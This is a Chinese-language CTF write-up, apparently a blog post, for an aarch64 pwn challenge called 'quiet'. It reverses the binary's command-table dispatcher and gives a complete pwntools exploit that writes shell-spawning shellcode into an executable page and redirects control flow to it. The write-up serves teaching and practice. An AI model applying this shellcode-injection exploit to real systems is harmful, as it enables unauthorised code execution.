(:0:sub_11D8
):1:sub_11C4
*:2:sub_11A8
/:3:sub_118C
@:4:sub_1170
G:9:sub_1098
[:6:sub_1134
]:7:sub_1118
之后看一下input
函数, 这道题相比上一道题要简单很多,基本上看伪代码就OK了
在这个函数里,程序会依照 jump_table
将用户的输入翻译为 index
,并以此去执行 func_table
中的函数
此时各个寄存器中存放的值为
x0 要执行的函数地址
x21 翻译后的索引值 chunk1
x22 ** qword_12070
x27 x23 chunk2
void input()
{
_BYTE *chunk; // x21
int v1; // w0
int index; // w1
_BYTE *chunk_addr; // x0
int chr; // t1
__int64 fnc_table[11]; // [xsp+60h] [xbp+60h]
__printf_chk(1LL, "cmd> ", &_stack_chk_guard, 0LL);
chunk = malloc(0x1000uLL);
v1 = getpagesize();
memset((void *)qword_12070, 0, v1);
read(0, chunk, 0x1000uLL);
fnc_table[0] = (__int64)off_12010;
fnc_table[1] = (__int64)off_12018;
fnc_table[2] = (__int64)off_12020;
fnc_table[3] = (__int64)off_12028;
fnc_table[4] = (__int64)off_12030;
fnc_table[5] = (__int64)off_12038;
fnc_table[6] = (__int64)off_12040;
fnc_table[7] = (__int64)off_12048;
fnc_table[8] = (__int64)off_12050;
fnc_table[9] = (__int64)off_12058;
fnc_table[10] = (__int64)off_12060;
if ( malloc(0x200uLL) )
{
index = (unsigned __int8)*chunk;
chunk_addr = chunk;
if ( *chunk )
{
do
{
*chunk_addr = jump_table[index];
chr = (unsigned __int8)*++chunk_addr;
index = chr;
}
while ( chr );
}
*chunk_addr = 8;
__asm { BR X0 }
}
exit(-1);
}
在这里我们要关注的函数是 sub_1154
和 sub_11D8
这两个函数一个会接收一个字符存入 ** qword_12070
,另一个会令 (** qword_12070)+ 1
而 ** qword_12070
的地址是有执行权限的,因此我们可以利用这两个函数写入 shellcode
之后只需通过 loc_1098
即可劫持控制流执行shellcode
整个思路比较清晰,就不再赘述了,详见EXP
EXP
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_
from pwn import *
import inspect
from sys import argv
def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
inf = lambda data :success(data)
itr = lambda :p.interactive()
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = './lib/libc-2.27.so'
binary = './quiet'
context.binary = binary
elf = ELF(binary,checksec=False)
p = process(['qemu-aarch64', '-L','.', '-g', '1234','quiet'])
if len(argv) > 1:
if argv[1]=='r':
p = remote('',)
# libc = elf.libc
libc = ELF(remote_libc)
def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()
# start
context.log_level = 'DEBUG'
"""
:8:sub_10E4
#:5:sub_1154
(:0:sub_11D8
):1:sub_11C4
*:2:sub_11A8
/:3:sub_118C
@:4:sub_1170
G:9:sub_1098
[:6:sub_1134
]:7:sub_1118
x0 func
x21 翻译后的索引值 chunk1
x22 ** qword_12070
x27 x23 chunk2
"""
def input():
return '#)'
def trigger():
return 'G'
sc = asm(shellcraft.sh())
pl = input()*len(sc)
pl+= trigger()
sa('cmd> ',pl)
sleep(0.1)
for i in range(len(sc)):
s(p8(sc[i]))
# end
itr()
总结
其实总的来说这两道题过于考验pwn师傅的逆向能力,有种为了出题而出题的感觉 hhhh, 但是整体做下来还是有几点收获的
- 在看不懂题目汇编的时候一定要去调试,关注各个寄存器中的地址,有没有和程序有联系的,在这两道题中就是
jump_table
和func_table
,这对帮助理解题目有很大帮助,如果生啃汇编的话一会人就废了 - 在题目逻辑比较复杂,IDA对于一些函数或变量的分析有问题时,可以通过人工手段来进行调整,方便我们理解,包括但不限于
创建函数
、创建结构体
、修改变量类型
等等
- 在做异构题目时,需要频繁的用
gdb-multiarch
连接题目,如果觉得烦的话可以写一个小脚本// debug file apollo set architecture aarch64 set endian little b *0x0000000000 target remote :123456
连接时只需输入
gdb-multiarch -x debug
即可
发表评论
您还未登录,请先登录。
登录